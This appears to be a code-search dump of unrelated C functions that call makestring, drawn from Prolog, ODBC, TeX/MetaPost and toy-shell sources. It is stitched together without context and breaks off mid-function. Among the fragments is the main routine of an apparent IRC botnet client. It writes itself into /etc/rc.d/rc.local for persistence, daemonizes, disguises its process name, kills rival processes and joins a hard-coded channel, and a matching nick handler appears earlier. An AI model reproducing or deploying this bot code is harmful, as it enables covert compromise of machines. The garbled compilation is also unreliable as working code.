int
main(void)
{
char * arglist[MAXARGS + 1];
int numargs;
char argbuf[ARGLEN];
char * makestring();
void execute(char **);
numargs = 0;
while (numargs < MAXARGS)
{
printf("Arg[%d]?",numargs);
if (fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n')
arglist[numargs++] = makestring(argbuf);
else
{
if (numargs > 0){
arglist[numargs] = NULL;
execute(arglist);
numargs = 0;
}
}
}
return EXIT_SUCCESS;
}
static pointer cconv(context *ctx, int n, pointer *argv)
{
iconv_t cd;
size_t inbytesleft, outbytesleft;
char *outbufp1, *outbufp2, *instrp;
size_t ret;
pointer instr=argv[2], outstr;
size_t len=vecsize(instr);
inbytesleft=len;
outbytesleft=len*2;
outbufp1= outbufp2= malloc(outbytesleft);
instrp= &(instr->c.str.chars[0]);
/* get acceptable codings by 'iconv --list' */
/* cd=iconv_open(to_code, from_code); */
/* cd=iconv_open("Shift_JIS", "EUC-JP"); */
cd=iconv_open(argv[1]->c.str.chars, argv[0]->c.str.chars);
if (cd == (iconv_t)-1) { outstr= (pointer)makeint(errno); goto conv_end;}
ret=iconv(cd, &instrp, &inbytesleft, &outbufp2, &outbytesleft);
if (ret == -1) { outstr=makeint(-errno); goto conv_end;}
else outstr=makestring(outbufp1, len*2-outbytesleft);
conv_end:
iconv_close(cd);
cfree(outbufp1);
return(outstr);
}
void preSUBSTR(string &line, RawSource *) {
string e;
int pos=1,len=BIGVALUE;
string r,s,d=getid(line);
skipblanks(line);
line=ReplaceDefines(line);
getstring(line,e);
if(comma(line)) {
if(!ParseExpression(line,pos)) {
error("Syntax error");
pos=1;
}
if(comma(line)) {
if(!ParseExpression(line,len)) {
error("Syntax error");
len=BIGVALUE;
}
}
}
checkjunk(line);
if (pos<1 || pos>(int)e.size()) r="";
else r=e.substr(pos-1,len);
makestring(r);
deftab.add(d,'"'+r+'"');
}
void spn_dbg_set_filename(SpnHashMap *debug_info, const char *fname)
{
if (debug_info) {
SpnValue str = makestring(fname);
spn_hashmap_set_strkey(debug_info, "file", &str);
spn_value_release(&str);
}
}
/* convert openwsman hash_t* to hash VALUE (string pairs) */
static VALUE
hash2value( hash_t *hash )
{
VALUE v;
hnode_t *node;
hscan_t ptr;
if (!hash) return Qnil;
hash_scan_begin( &ptr, hash );
v = rb_hash_new();
while ((node = hash_scan_next( &ptr )) ) {
rb_hash_aset( v, makestring( hnode_getkey( node ) ), makestring( hnode_get( node ) ) );
}
return v;
}
void preTOSTR(string &line, RawSource *) {
string d=getid(line);
skipblanks(line);
string l=ReplaceDefines(line);
makestring(l);
line.clear();
deftab.add(d,'"'+l+'"');
}
/* reg 1: tag for this call
reg 2: filter list of goals to keep (keep all if [])
reg 3: returned list of changed goals
reg 4: used as temp (in case of heap expansion)
*/
int create_changed_call_list(CTXTdecl){
callnodeptr call1;
VariantSF subgoal;
TIFptr tif;
int j, count = 0,arity;
Psc psc;
CPtr oldhreg = NULL;
reg[4] = makelist(hreg);
new_heap_free(hreg); // make heap consistent
new_heap_free(hreg);
while ((call1 = delete_calllist_elt(&changed_gl)) != EMPTY){
subgoal = (VariantSF) call1->goal;
tif = (TIFptr) subgoal->tif_ptr;
psc = TIF_PSC(tif);
if (in_reg2_list(CTXTc psc)) {
count++;
arity = get_arity(psc);
check_glstack_overflow(4,pcreg,2+arity*200); // guess for build_subgoal_args...
oldhreg = hreg-2;
if(arity>0){
sreg = hreg;
follow(oldhreg++) = makecs(hreg);
hreg += arity + 1;
new_heap_functor(sreg, psc);
for (j = 1; j <= arity; j++) {
new_heap_free(sreg);
cell_array1[arity-j] = cell(sreg-1);
}
build_subgoal_args(subgoal);
}else{
follow(oldhreg++) = makestring(get_name(psc));
}
follow(oldhreg) = makelist(hreg);
new_heap_free(hreg); // make heap consistent
new_heap_free(hreg);
}
}
if (count>0)
follow(oldhreg) = makenil;
else
reg[4] = makenil;
return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4));
/*
int i;
for(i=0; i<callqptr; i++){
if(IsNonNULL(callq[i]) && (callq[i]->deleted==1)){
sfPrintGoal(stdout,(VariantSF)callq[i]->goal,NO);
printf(" %d %d\n",callq[i]->falsecount,callq[i]->deleted);
}
}
printf("-----------------------------\n");
*/
}
void _433(int sock, char *sender, char *str) {
free(nick);
char tempnick[50];
char *strpref = PREFIX;
char *genname = makestring();
strcpy(tempnick,strpref);
strcat(tempnick,genname);
nick=tempnick;
}
/*
For a callnode call1 returns a Prolog list of callnode on which call1
immediately depends.
*/
int immediate_inedges_list(CTXTdeclc callnodeptr call1){
VariantSF subgoal;
TIFptr tif;
int j, count = 0,arity;
Psc psc;
CPtr oldhreg = NULL;
calllistptr cl;
reg[4] = makelist(hreg);
new_heap_free(hreg);
new_heap_free(hreg);
if(IsNonNULL(call1)){ /* This can be called from some non incremental predicate */
cl= call1->inedges;
while(IsNonNULL(cl)){
subgoal = (VariantSF) cl->inedge_node->callnode->goal;
if(IsNonNULL(subgoal)){/* fact check */
count++;
tif = (TIFptr) subgoal->tif_ptr;
psc = TIF_PSC(tif);
arity = get_arity(psc);
check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args...
oldhreg = hreg-2;
if(arity>0){
sreg = hreg;
follow(oldhreg++) = makecs(hreg);
hreg += arity + 1;
new_heap_functor(sreg, psc);
for (j = 1; j <= arity; j++) {
new_heap_free(sreg);
cell_array1[arity-j] = cell(sreg-1);
}
build_subgoal_args(subgoal);
}else{
follow(oldhreg++) = makestring(get_name(psc));
}
follow(oldhreg) = makelist(hreg);
new_heap_free(hreg);
new_heap_free(hreg);
}
cl=cl->next;
}
if (count>0)
follow(oldhreg) = makenil;
else
reg[4] = makenil;
}else{
xsb_warn("Called with non-incremental predicate\n");
reg[4] = makenil;
}
return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4));
}
int loadpoolstrings (integer spare_size) {
const char *s;
strnumber g=0;
int i=0,j=0;
while ((s = poolfilearr[j++])) {
int l = strlen (s);
i += l;
if (i>=spare_size) return 0;
while (l-- > 0) strpool[poolptr++] = *s++;
g = makestring();
}
return g;
}
std::string Exception::ToString() const
{
std::string str = GetName();
if (!GetOrigin().empty())
str += " in " + GetOrigin();
if (!m_File.empty() && m_Line >= 0)
str += makestring() << "(" << m_File << ":" << m_Line << ")";
if (!GetDescription().empty())
str += ": " + GetDescription();
return str;
}
int return_scc_list(CTXTdeclc SCCNode * nodes, int num_nodes){
VariantSF subgoal;
TIFptr tif;
int cur_node = 0,arity, j;
Psc psc;
CPtr oldhreg = NULL;
reg[4] = makelist(hreg);
new_heap_free(hreg); new_heap_free(hreg);
do {
subgoal = (VariantSF) nodes[cur_node].node;
tif = (TIFptr) subgoal->tif_ptr;
psc = TIF_PSC(tif);
arity = get_arity(psc);
// printf("subgoal %p, %s/%d\n",subgoal,get_name(psc),arity);
check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args..
oldhreg=hreg-2; // ptr to car
if(arity>0){
sreg = hreg;
follow(oldhreg++) = makecs(sreg);
new_heap_functor(sreg,get_ret_psc(2)); // car pts to ret/2 psc
hreg += 3; // hreg pts past ret/2
sreg = hreg;
follow(hreg-1) = makeint(nodes[cur_node].component); // arg 2 of ret/2 pts to component
follow(hreg-2) = makecs(sreg);
new_heap_functor(sreg, psc); // arg 1 of ret/2 pts to goal psc
hreg += arity + 1;
for (j = 1; j <= arity; j++) {
new_heap_free(sreg);
cell_array1[arity-j] = cell(sreg-1);
}
build_subgoal_args(subgoal);
} else{
follow(oldhreg++) = makestring(get_name(psc));
}
follow(oldhreg) = makelist(hreg); // cdr points to next car
new_heap_free(hreg); new_heap_free(hreg);
cur_node++;
} while (cur_node < num_nodes);
follow(oldhreg) = makenil; // cdr points to next car
return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4));
}
xsbBool str_cat(CTXTdecl)
{
char *str1, *str2, *tmpstr;
size_t tmpstr_len;
term = ptoc_tag(CTXTc 1);
term2 = ptoc_tag(CTXTc 2);
if (isatom(term) && isatom(term2)) {
str1 = string_val(term);
str2 = string_val(term2);
tmpstr_len = strlen(str1) + strlen(str2) + 1;
tmpstr = (char *)mem_alloc(tmpstr_len,LEAK_SPACE);
strcpy(tmpstr, str1);
strcat(tmpstr, str2);
str1 = string_find(tmpstr, 1);
mem_dealloc(tmpstr,tmpstr_len,LEAK_SPACE);
return atom_unify(CTXTc makestring(str1), ptoc_tag(CTXTc 3));
} else return FALSE;
}
main()
{
char *arglist[MAXARGS+1]; /* an array of ptrs */
int numargs; /* index into array */
char argbuf[ARGLEN]; /* read stuff here */
char *makestring(); /* malloc etc */
char *fgetsrv;
numargs = 0;
while ( numargs < MAXARGS )
{
printf("Arg[%d]? ", numargs);
fgetsrv = fgets(argbuf, ARGLEN, stdin);
if ( fgetsrv != NULL && *argbuf != '\n' ){
arglist[numargs++] = makestring(argbuf);
/*
* new code to allow user to exit with
* the "exit" command
*/
if ( numargs == 1 && strcmp(arglist[0],"exit") == 0 )
break;
}
else
{
if ( numargs > 0 ){ /* any args? */
arglist[numargs]=NULL; /* close list */
execute( arglist ); /* do it */
numargs = 0; /* and reset */
}
/*
* new code added to allow user to exit at EOF
*/
if ( fgetsrv == NULL )
break;
}
}
return 0;
}
int main(void) {
char *arglist[MAXARGS + 1];
int numargs = 0;
char argbuf[ARGLEN];
while (numargs < MAXARGS) {
printf("Arg[%d]?", numargs);
if (fgets(argbuf, ARGLEN, stdin) == NULL)
exit(EXIT_SUCCESS);
else if (*argbuf != '\n')
arglist[numargs] = makestring(argbuf);
else {
if (numargs > 0) {
arglist[numargs] = NULL;
execute(arglist);
while (--numargs)
free(arglist[numargs]);
numargs = 0;
}
}
numargs++;
}
return EXIT_SUCCESS;
}
int main()
{
char *arglist[MAXARGS + 1]; //å—符串的数组
int numargs; //arglistçš„ä¸‹æ ‡
char argbuf[ARGLEN];
numargs = 0;
while (numargs < MAXARGS)
{
printf("Arg[%d]?", numargs);
if (fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n')
arglist[numargs ++] = makestring(argbuf);
//如果没有输入内容，直接回车
else
{
if (numargs > 0)
{
arglist[numargs] = NULL;
execute(arglist);
numargs = 0;
}
}
}
return 0;
}
main()
{
char *arglist[MAXARGS+1]; /* an array of ptrs */
int numargs; /* index into array */
char argbuf[ARGLEN]; /* read stuff here */
char *makestring(); /* malloc etc */
numargs = 0;
while ( numargs < MAXARGS )
{
printf("Arg[%d]? ", numargs);
if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' )
arglist[numargs++] = makestring(argbuf);
else
{
if ( numargs > 0 ){ /* any args? */
arglist[numargs]=NULL; /* close list */
execute( arglist ); /* do it */
numargs = 0; /* and reset */
}
}
}
return 0;
}
int main()
{
char *arglist[MAXARGS + 1]; //AN ARRAY OF PTRS
int numargs; //index into array
char argbuf[ARGLEN]; // read stuff here
char *makestring();
numargs = 0;
while( numargs < MAXARGS ){
printf("Arg[%d]?",numargs);
if( fgets( argbuf, ARGLEN, stdin ) && *argbuf != '\n'){
if( *argbuf == EOF )
return 0;
arglist[numargs++] = makestring(argbuf);
}
else if( numargs > 0 ){ //any args?
arglist[numargs] = NULL; //close list
execute( arglist ); //do it
numargs = 0; //and reset
}
}
return 0;
}
pointer ICONV(context *ctx, int n, pointer *argv)
{ int cd, ret, malloced=NULL;
char *srcstrp, *deststrp, *deststrpv, deststr[1024];
size_t srcstrlen, deststrlen;
pointer dest;
ckarg(2);
cd=bigintval(argv[0]);
if (!isstring(argv[1])) error(E_NOSTRING);
srcstrp=argv[1]->c.str.chars;
srcstrlen=strlength(argv[1]);
deststrlen=2*srcstrlen;
if (deststrlen>=1024) {
deststrp=malloc(deststrlen);
malloced=1;}
else deststrp=deststr;
deststrpv=deststrp;
ret=iconv(cd, &srcstrp, &srcstrlen, &deststrpv, &deststrlen);
if (ret== -1) { dest=NIL; goto iconvend;}
dest=makestring(deststrp, 2*strlength(argv[1])-deststrlen);
iconvend:
if (malloced) cfree(deststrp);
return(dest);
}
int create_lazy_call_list(CTXTdeclc callnodeptr call1){
VariantSF subgoal;
TIFptr tif;
int j,count=0,arity;
Psc psc;
CPtr oldhreg=NULL;
// print_call_list(lazy_affected);
reg[6] = reg[5] = makelist(hreg); // reg 5 first not-used, use regs in case of stack expanson
new_heap_free(hreg); // make heap consistent
new_heap_free(hreg);
while((call1 = delete_calllist_elt(&lazy_affected)) != EMPTY){
subgoal = (VariantSF) call1->goal;
// fprintf(stddbg," considering ");print_subgoal(stdout,subgoal);printf("\n");
if(IsNULL(subgoal)){ /* fact predicates */
call1->deleted = 0;
continue;
}
if (subg_visitors(subgoal)) {
sprint_subgoal(CTXTc forest_log_buffer_1,0,subgoal);
#ifdef ISO_INCR_TABLING
find_the_visitors(CTXTc subgoal);
#else
#ifdef WARN_ON_UNSAFE_UPDATE
xsb_warn("%d Choice point(s) exist to the table for %s -- cannot incrementally update (create_lazy_call_list)\n",
subg_visitors(subgoal),forest_log_buffer_1->fl_buffer);
#else
xsb_abort("%d Choice point(s) exist to the table for %s -- cannot incrementally update (create_lazy_call_list)\n",
subg_visitors(subgoal),forest_log_buffer_1->fl_buffer);
#endif
#endif
continue;
}
// fprintf(stddbg,"adding dependency for ");print_subgoal(stdout,subgoal);printf("\n");
count++;
tif = (TIFptr) subgoal->tif_ptr;
// if (!(psc = TIF_PSC(tif)))
// xsb_table_error(CTXTc "Cannot access dynamic incremental table\n");
psc = TIF_PSC(tif);
arity = get_arity(psc);
check_glstack_overflow(6,pcreg,2+arity*200); // don't know how much for build_subgoal_args...
oldhreg = clref_val(reg[6]); // maybe updated by re-alloc
if(arity>0){
sreg = hreg;
follow(oldhreg++) = makecs(sreg);
hreg += arity + 1; // had 10, why 10? why not 3? 2 for list, 1 for functor (dsw)
new_heap_functor(sreg, psc);
for (j = 1; j <= arity; j++) {
new_heap_free(sreg);
cell_array1[arity-j] = cell(sreg-1);
}
build_subgoal_args(subgoal);
} else {
follow(oldhreg++) = makestring(get_name(psc));
}
reg[6] = follow(oldhreg) = makelist(hreg);
new_heap_free(hreg);
new_heap_free(hreg);
}
if(count > 0) {
follow(oldhreg) = makenil;
hreg -= 2; /* take back the extra words allocated... */
} else
reg[5] = makenil;
return unify(CTXTc reg_term(CTXTc 4),reg_term(CTXTc 5));
/*int i;
for(i=0;i<callqptr;i++){
if(IsNonNULL(callq[i]) && (callq[i]->deleted==1)){
sfPrintGoal(stdout,(VariantSF)callq[i]->goal,NO);
printf(" %d %d\n",callq[i]->falsecount,callq[i]->deleted);
}
}
printf("-----------------------------\n"); */
}
/*-----------------------------------------------------------------------------*/
void ODBCDataSources()
{
static SQLCHAR DSN[SQL_MAX_DSN_LENGTH+1];
static SQLCHAR Description[SQL_MAX_DSN_LENGTH+1];
RETCODE rc;
int seq;
SWORD dsn_size, descr_size;
Cell op2 = ptoc_tag(3);
Cell op3 = ptoc_tag(4);
if (!henv) {
/* allocate environment handler*/
rc = SQLAllocEnv(&henv);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
xsb_error("Environment allocation failed");
ctop_int(5,1);
return;
}
LCursor = FCursor = NULL;
FCurNum = NULL;
nullStrAtom = makestring(string_find("NULL",1));
}
seq = ptoc_int(2);
if (seq == 1) {
rc = SQLDataSources(henv,SQL_FETCH_FIRST,DSN,
SQL_MAX_DSN_LENGTH,&dsn_size,
Description,SQL_MAX_DSN_LENGTH,
&descr_size);
if (rc == SQL_NO_DATA_FOUND) {
ctop_int(5,2);
return;
}
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
xsb_error("Environment allocation failed");
ctop_int(5,1);
return;
}
} else {
rc = SQLDataSources(henv,SQL_FETCH_NEXT,DSN,
SQL_MAX_DSN_LENGTH,&dsn_size,
Description,SQL_MAX_DSN_LENGTH,
&descr_size);
if (rc == SQL_NO_DATA_FOUND) {
ctop_int(5,2);
return;
}
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
xsb_error("Environment allocation failed");
ctop_int(5,1);
return;
}
}
XSB_Deref(op2);
if (isref(op2))
unify(op2, makestring(string_find(DSN,1)));
else {
xsb_error("[ODBCDataSources] Param 2 should be a free variable.");
ctop_int(5,1);
return;
}
XSB_Deref(op3);
if (isref(op3))
unify(op3, makestring(string_find(Description,1)));
else {
xsb_error("[ODBCDataSources] Param 3 should be a free variable.");
ctop_int(5,1);
return;
}
ctop_int(5,0);
return;
}
void
storebasefile ( void )
{
integer k ;
halfword p, q ;
integer x ;
fourquarters w ;
ASCIIcode * baseengine ;
selector = 5 ;
print ( 1074 ) ;
print ( jobname ) ;
printchar ( 32 ) ;
printint ( roundunscaled ( internal [14 ]) ) ;
printchar ( 46 ) ;
printint ( roundunscaled ( internal [15 ]) ) ;
printchar ( 46 ) ;
printint ( roundunscaled ( internal [16 ]) ) ;
printchar ( 41 ) ;
if ( interaction == 0 )
selector = 2 ;
else selector = 3 ;
{
if ( poolptr + 1 > maxpoolptr )
{
if ( poolptr + 1 > poolsize )
overflow ( 257 , poolsize - initpoolptr ) ;
maxpoolptr = poolptr + 1 ;
}
}
baseident = makestring () ;
strref [baseident ]= 127 ;
packjobname ( 743 ) ;
while ( ! wopenout ( basefile ) ) promptfilename ( 1075 , 743 ) ;
printnl ( 1076 ) ;
slowprint ( wmakenamestring ( basefile ) ) ;
flushstring ( strptr - 1 ) ;
printnl ( 261 ) ;
slowprint ( baseident ) ;
dumpint ( 1462914374L ) ;
x = strlen ( enginename ) ;
baseengine = xmallocarray ( ASCIIcode , x + 4 ) ;
strcpy ( stringcast ( baseengine ) , enginename ) ;
{register integer for_end; k = x ;for_end = x + 3 ; if ( k <= for_end) do
baseengine [k ]= 0 ;
while ( k++ < for_end ) ;}
x = x + 4 - ( x % 4 ) ;
dumpint ( x ) ;
dumpthings ( baseengine [0 ], x ) ;
libcfree ( baseengine ) ;
dumpint ( 228418379L ) ;
dumpthings ( xord [0 ], 256 ) ;
dumpthings ( xchr [0 ], 256 ) ;
dumpthings ( xprn [0 ], 256 ) ;
dumpint ( 0 ) ;
dumpint ( memtop ) ;
dumpint ( 9500 ) ;
dumpint ( 7919 ) ;
dumpint ( 15 ) ;
dumpint ( poolptr ) ;
dumpint ( strptr ) ;
{register integer for_end; k = 0 ;for_end = strptr ; if ( k <= for_end) do
dumpint ( strstart [k ]) ;
while ( k++ < for_end ) ;}
k = 0 ;
while ( k + 4 < poolptr ) {
w .b0 = strpool [k ];
w .b1 = strpool [k + 1 ];
w .b2 = strpool [k + 2 ];
w .b3 = strpool [k + 3 ];
dumpqqqq ( w ) ;
k = k + 4 ;
}
k = poolptr - 4 ;
w .b0 = strpool [k ];
w .b1 = strpool [k + 1 ];
w .b2 = strpool [k + 2 ];
w .b3 = strpool [k + 3 ];
dumpqqqq ( w ) ;
println () ;
printint ( strptr ) ;
print ( 1071 ) ;
printint ( poolptr ) ;
sortavail () ;
varused = 0 ;
dumpint ( lomemmax ) ;
dumpint ( rover ) ;
p = 0 ;
q = rover ;
x = 0 ;
do {
{ register integer for_end; k = p ;for_end = q + 1 ; if ( k <=
for_end) do
dumpwd ( mem [k ]) ;
while ( k++ < for_end ) ;}
x = x + q + 2 - p ;
varused = varused + q - p ;
p = q + mem [q ].hhfield .lhfield ;
q = mem [q + 1 ].hhfield .v.RH ;
} while ( ! ( q == rover ) ) ;
varused = varused + lomemmax - p ;
dynused = memend + 1 - himemmin ;
{register integer for_end; k = p ;for_end = lomemmax ; if ( k <= for_end)
do
dumpwd ( mem [k ]) ;
while ( k++ < for_end ) ;}
x = x + lomemmax + 1 - p ;
dumpint ( himemmin ) ;
dumpint ( avail ) ;
{register integer for_end; k = himemmin ;for_end = memend ; if ( k <=
for_end) do
dumpwd ( mem [k ]) ;
while ( k++ < for_end ) ;}
x = x + memend + 1 - himemmin ;
p = avail ;
while ( p != 0 ) {
decr ( dynused ) ;
p = mem [p ].hhfield .v.RH ;
}
dumpint ( varused ) ;
dumpint ( dynused ) ;
println () ;
printint ( x ) ;
print ( 1072 ) ;
printint ( varused ) ;
printchar ( 38 ) ;
printint ( dynused ) ;
dumpint ( hashused ) ;
stcount = 9756 - hashused ;
{register integer for_end; p = 1 ;for_end = hashused ; if ( p <= for_end)
do
if ( hash [p ].v.RH != 0 )
{
dumpint ( p ) ;
dumphh ( hash [p ]) ;
dumphh ( eqtb [p ]) ;
incr ( stcount ) ;
}
while ( p++ < for_end ) ;}
{register integer for_end; p = hashused + 1 ;for_end = 9769 ; if ( p <=
for_end) do
{
dumphh ( hash [p ]) ;
dumphh ( eqtb [p ]) ;
}
while ( p++ < for_end ) ;}
dumpint ( stcount ) ;
println () ;
printint ( stcount ) ;
print ( 1073 ) ;
dumpint ( intptr ) ;
{register integer for_end; k = 1 ;for_end = intptr ; if ( k <= for_end) do
{
dumpint ( internal [k ]) ;
dumpint ( intname [k ]) ;
}
while ( k++ < for_end ) ;}
dumpint ( startsym ) ;
dumpint ( interaction ) ;
dumpint ( baseident ) ;
dumpint ( bgloc ) ;
dumpint ( egloc ) ;
dumpint ( serialno ) ;
dumpint ( 69069L ) ;
internal [12 ]= 0 ;
wclose ( basefile ) ;
}
boolean
getstringsstarted ( void )
{
/* 30 10 */ register boolean Result; unsigned char k, l ;
strnumber g ;
poolptr = 0 ;
strptr = 0 ;
maxpoolptr = 0 ;
maxstrptr = 0 ;
strstart [0 ]= 0 ;
{register integer for_end; k = 0 ;for_end = 255 ; if ( k <= for_end) do
{
if ( ( ( k < 32 ) || ( k > 126 ) ) )
{
{
strpool [poolptr ]= 94 ;
incr ( poolptr ) ;
}
{
strpool [poolptr ]= 94 ;
incr ( poolptr ) ;
}
if ( k < 64 )
{
strpool [poolptr ]= k + 64 ;
incr ( poolptr ) ;
}
else if ( k < 128 )
{
strpool [poolptr ]= k - 64 ;
incr ( poolptr ) ;
}
else {
l = k / 16 ;
if ( l < 10 )
{
strpool [poolptr ]= l + 48 ;
incr ( poolptr ) ;
}
else {
strpool [poolptr ]= l + 87 ;
incr ( poolptr ) ;
}
l = k % 16 ;
if ( l < 10 )
{
strpool [poolptr ]= l + 48 ;
incr ( poolptr ) ;
}
else {
strpool [poolptr ]= l + 87 ;
incr ( poolptr ) ;
}
}
}
else {
strpool [poolptr ]= k ;
incr ( poolptr ) ;
}
g = makestring () ;
strref [g ]= 127 ;
}
while ( k++ < for_end ) ;}
g = loadpoolstrings ( ( poolsize - stringvacancies ) ) ;
if ( g == 0 )
{
;
fprintf ( stdout , "%s\n", "! You have to increase POOLSIZE." ) ;
Result = false ;
goto lab10 ;
}
Result = true ;
lab10: ;
return Result ;
}
/*-----------------------------------------------------------------------------*/
void ODBCConnect()
{
UCHAR *server;
UCHAR *pwd;
UCHAR *connectIn;
HDBC hdbc = NULL;
RETCODE rc;
/* if we don't yet have an environment, allocate one.*/
if (!henv) {
/* allocate environment handler*/
rc = SQLAllocEnv(&henv);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
xsb_error("Environment allocation failed");
ctop_int(6, 0);
return;
}
/* SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC2,
SQL_IS_UINTEGER);
*/
LCursor = FCursor = NULL;
FCurNum = NULL;
nullStrAtom = makestring(string_find("NULL",1));
}
/* allocate connection handler*/
rc = SQLAllocConnect(henv, &hdbc);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
xsb_error("Connection Resources Allocation Failed");
ctop_int(6, 0);
return;
}
if (!ptoc_int(2)) {
/* get server name, user id and password*/
server = (UCHAR *)ptoc_string(3);
strcpy(uid, (UCHAR *)ptoc_string(4));
pwd = (UCHAR *)ptoc_string(5);
/* connect to database*/
rc = SQLConnect(hdbc, server, SQL_NTS, uid, SQL_NTS, pwd, SQL_NTS);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
SQLFreeConnect(hdbc);
xsb_error("Connection to server %s failed", server);
ctop_int(6, 0);
return;
}
} else {
/* connecting through driver using a connection string */
connectIn = (UCHAR *)ptoc_longstring(3);
rc = SQLDriverConnect(hdbc, NULL, connectIn, SQL_NTS, NULL, 0, NULL,SQL_DRIVER_NOPROMPT);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) {
SQLFreeConnect(hdbc);
xsb_error("Connection to driver failed: %s", connectIn);
ctop_int(6, 0);
return;
}
}
serverConnected = 1;
ctop_int(6, (long)hdbc);
return;
}
int main(int argc, char *argv[]) {
int on,i;
char cwd[256],*str;
FILE *file;
#ifdef STARTUP
str="/etc/rc.d/rc.local";
file=fopen(str,"r");
if (file == NULL) {
str="/etc/rc.conf";
file=fopen(str,"r");
}
if (file != NULL) {
char outfile[256], buf[1024];
int i=strlen(argv[0]), d=0;
getcwd(cwd,256);
if (strcmp(cwd,"/")) {
while(argv[0][i] != '/') i--;
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
while(!feof(file)) {
fgets(buf,1024,file);
if (!strcasecmp(buf,outfile)) d++;
}
if (d == 0) {
FILE *out;
fclose(file);
out=fopen(str,"a");
if (out != NULL) {
fputs(outfile,out);
fclose(out);
}
}
else fclose(file);
}
else fclose(file);
}
#endif
if (fork()) exit(0);
#ifdef FAKENAME
strncpy(argv[0],FAKENAME,strlen(argv[0]));
for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
#endif
srand((time(NULL) ^ getpid()) + getppid());
char tempnick[50];
char *strpref = PREFIX;
char *genname = makestring();
strcpy(tempnick,strpref);
strcat(tempnick,genname);
nick=tempnick;
ident="STD";
user="******";
chan=CHAN;
key=KEY;
pass=PASS;
server=NULL;
sa:
#ifdef IDENT
for (i=0;i<numpids;i++) {
if (pids[i] != 0 && pids[i] != getpid()) {
kill(pids[i],9);
waitpid(pids[i],NULL,WNOHANG);
}
}
pids=NULL;
numpids=0;
identd();
#endif
con();
Send(sock,"PASS %s\n", pass);
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
while(1) {
unsigned long i;
fd_set n;
struct timeval tv;
FD_ZERO(&n);
FD_SET(sock,&n);
tv.tv_sec=60*20;
tv.tv_usec=0;
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
unsigned int *newpids,on;
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
pids[on-1]=0;
numpids--;
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (on=0;on<numpids;on++) newpids[on]=pids[on];
free(pids);
pids=newpids;
}
if (FD_ISSET(sock,&n)) {
char buf[4096], *str;
int i;
if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
buf[i]=0;
str=strtok(buf,"\n");
while(str && *str) {
char name[1024], sender[1024];
filter(str);
if (*str == ':') {
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
strcpy(sender,str+1);
strcpy(str,str+i+1);
}
else strcpy(sender,"*");
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
strcpy(name,str);
strcpy(str,str+i+1);
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
if (!strcasecmp(name,"ERROR")) goto sa;
str=strtok((char*)NULL,"\n");
}
}
}
return 0;
}
int immediate_outedges_list(CTXTdeclc callnodeptr call1){
VariantSF subgoal;
TIFptr tif;
int j, count = 0,arity;
Psc psc;
CPtr oldhreg = NULL;
struct hashtable *h;
struct hashtable_itr *itr;
callnodeptr cn;
reg[4] = makelist(hreg);
new_heap_free(hreg);
new_heap_free(hreg);
if(IsNonNULL(call1)){ /* This can be called from some non incremental predicate */
h=call1->outedges->hasht;
itr = hashtable1_iterator(h);
if (hashtable1_count(h) > 0){
do {
cn = hashtable1_iterator_value(itr);
if(IsNonNULL(cn->goal)){
count++;
subgoal = (VariantSF) cn->goal;
tif = (TIFptr) subgoal->tif_ptr;
psc = TIF_PSC(tif);
arity = get_arity(psc);
check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args...
oldhreg=hreg-2;
if(arity>0){
sreg = hreg;
follow(oldhreg++) = makecs(sreg);
hreg += arity + 1;
new_heap_functor(sreg, psc);
for (j = 1; j <= arity; j++) {
new_heap_free(sreg);
cell_array1[arity-j] = cell(sreg-1);
}
build_subgoal_args(subgoal);
}else{
follow(oldhreg++) = makestring(get_name(psc));
}
follow(oldhreg) = makelist(hreg);
new_heap_free(hreg);
new_heap_free(hreg);
}
} while (hashtable1_iterator_advance(itr));
}
if (count>0)
follow(oldhreg) = makenil;
else
reg[4] = makenil;
}else{
xsb_warn("Called with non-incremental predicate\n");
reg[4] = makenil;
}
// printterm(stdout,call_list,100);
return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4));
}
/*-----------------------------------------------------------------------------*/
int GetColumn()
{
struct Cursor *cur = (struct Cursor *)ptoc_int(2);
int ColCurNum = ptoc_int(3);
Cell op1;
Cell op = ptoc_tag(4);
UDWORD len;
if (ColCurNum < 0 || ColCurNum >= cur->NumCols) {
/* no more columns in the result row*/
ctop_int(5,1);
return TRUE;
}
ctop_int(5,0);
/* get the data*/
if (cur->OutLen[ColCurNum] == SQL_NULL_DATA) {
/* column value is NULL*/
return unify(op,nullStrAtom);
}
/* convert the string to either integer, float or string*/
/* according to the column type and pass it back to XSB*/
switch (ODBCToXSBType(cur->ColTypes[ColCurNum])) {
case SQL_C_CHAR:
/* convert the column string to a C string */
